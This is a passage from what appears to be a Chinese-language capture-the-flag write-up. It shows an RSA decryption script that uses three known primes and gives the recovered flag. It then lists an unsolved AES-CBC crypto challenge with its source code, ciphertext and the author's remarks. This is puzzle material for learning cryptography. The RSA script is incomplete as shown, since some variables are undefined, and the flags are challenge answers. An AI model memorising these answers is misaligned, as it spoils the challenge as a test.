c = int("999238457633695875390868312148578206874085180328729864031502769160746939370358067645058746087858200698064715590068454781908941878234704745231616472500544299489072907525181954130042610756999951629214871917553371147513692253221476798612645630242018686268404850587754814930425513225710788525640827779311258012457828152843350882248473911459816471101547263923065978812349463656784597759143314955463199850172786928389414560476327593199154879575312027425152329247656310")
p = 10183677214652023044474780341271224480860741865271128462400237861954731862671046572481587003643951915319746511716779405224320633957652210335830783097185731
q = 10501863154525380899885393651734595340401622693414265402191855789807170977044584937255025740961595981958235238915269093897387769735490697411913603370485999
r = 10457194869353593100177834984530743371730082196597132299112004173986134317902326819633405971492147254575586164057393393898548415838816927385666152840961767

# Calculate phi(n)
phi_n = (p - 1) * (q - 1) * (r - 1)

# Calculate private key d
d = mod_inverse(e, phi_n)

# Decrypt the ciphertext
m = pow(c, d, n)

# Convert decrypted message to plaintext
plaintext = bytearray.fromhex(hex(m)[2:]).decode()
print(plaintext)

得到flag为flag{th1s_2s_A_rea119_f34ggg}

不用谢喵(未做出)

——求求你帮我解密吧,我什么都会做的

——解好了,不用谢喵

【难度:简单】

附件下载下来是Python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Cipher import AES
from Crypto.Util.number import *
import os

KEY = b"fake_key_fake_ke"
FLAG = "flag{fake_flag_fake_flag}"

def decrypt(c):
AES_ECB = AES.new(KEY, AES.MODE_CBC)
decrypted = AES_ECB.decrypt(long_to_bytes(c))

return decrypted.hex()

def encrypt():
iv = os.urandom(16)
AES_CBC = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = AES_CBC.encrypt(FLAG.encode())
print('iv:',iv.hex())

return iv.hex() + encrypted.hex()

c=encrypt()
print('encrypt:',c)
print('decrypt:',decrypt(int(c,16)))

#encrypt: f2040fe3063a5b6c65f66e1d2bf47b4cddb206e4ddcf7524932d25e92d57d3468398730b59df851cbac6d65073f9e138
#什么是AES啊😭,求求你帮我解密吧,我什么都会做的!!!!!😭

'''
什么都会做?那就去学习一下AES吧……
我这次就先给你解一下好了,不用谢喵
decrypt: f9899749fec184d81afecd35da430bc394686e847d72141b3a955a4f6e920e7d91cb599d92ba2a6ba51860bb5b32f23b
这对吗?哦不对不对,哦对的对的。
'''

说白了就是AES解密,看看AES解密的原理,然后电脑就送去修了,所以后面几周也没做……